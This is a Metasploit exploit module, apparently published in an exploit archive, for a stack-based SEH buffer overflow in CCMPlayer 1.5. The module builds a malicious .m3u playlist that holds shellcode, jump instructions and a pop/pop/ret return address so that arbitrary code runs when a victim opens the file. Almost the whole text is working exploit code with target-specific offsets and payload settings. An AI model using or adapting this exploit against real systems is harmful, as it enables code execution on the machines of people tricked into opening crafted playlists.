# Exploit: CCMPlayer 1.5 Stack based Buffer Overflow SEH Exploit (.m3u)# Date: 30 Nov 2011# Author: Rh0# Software: CCMPlayer 1.5# Tested on: Windows XP SP3 32-Bit EN (VirtualBox)
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)','Description'=> %q{
This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
a m3u playlist with a long track name, a SEH exception record can be overwritten
with parts of the controllable buffer. SEH execution is triggered after an
invalid read of an injectible address, thus allowing arbitrary code execution.},'License'=> MSF_LICENSE,'Author' => ['Rh0'],# discovery and metasploit module'Version'=> '0.0','References' =>
[# for info about "DisapleNops" and "StackAdjustment"['URL','http://dev.metasploit.com/redmine/projects/framework/wiki/PortingExploits'],# for metasploit fileformat exploit structure and use of Metasm['URL','http://www.exploit-db.com/exploits/18142/']],'DefaultOptions' =>
{'EXITFUNC' => 'process','DisablePayloadHandler' => 'true',},'Payload'=>
{'Space' => 0x1000,'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c",# \x00\r\n\x1a,.:\\'DisableNops' => 'True','StackAdjustment' => -3500,},'Platform' => 'win','Targets' =>
[['CCMPlayer 1.5 on Windows XP SP3 EN',{# pop esi / pop ebx / ret (in ccmplay.exe)# tweak it if necessary'Ret' => 0x00403ca7,# last NULL in buffer is accepted'Offset' => 0x1000
}]],'Privileged' => false,'DisclosureDate' => '30 Nov 2011',# to my knowledge'DefaultTarget'=> 0))
register_options([
OptString.new('FILENAME',[ true,'The file name.','msf.m3u']),], self.class)end
def exploit
m3u = "C:\\"# shellcode
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new,"nop").encode_string * 25
m3u << payload.encoded
# junk
m3u << rand_text_alpha_upper(target['Offset']-(25 + payload.encoded.length))# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)# to trigger SEH
m3u << [0xffffffff].pack("V")# pad
m3u << rand_text_alpha_upper(3)# long jmp: jmp far back to shellcode
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new,"jmp $-4103").encode_string
# NSEH: jmp short back to long jmp instruction
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new,"jmp $-5").encode_string
# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
m3u << rand_text_alpha_upper(2)# SEH Exception Handler Address -> p/p/r
m3u << [target.ret].pack("V")
m3u << ".mp3\r\n"# no crash without it
print_status("Creating '#{datastore['FILENAME']}' file ...")# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
file_create(m3u)endend
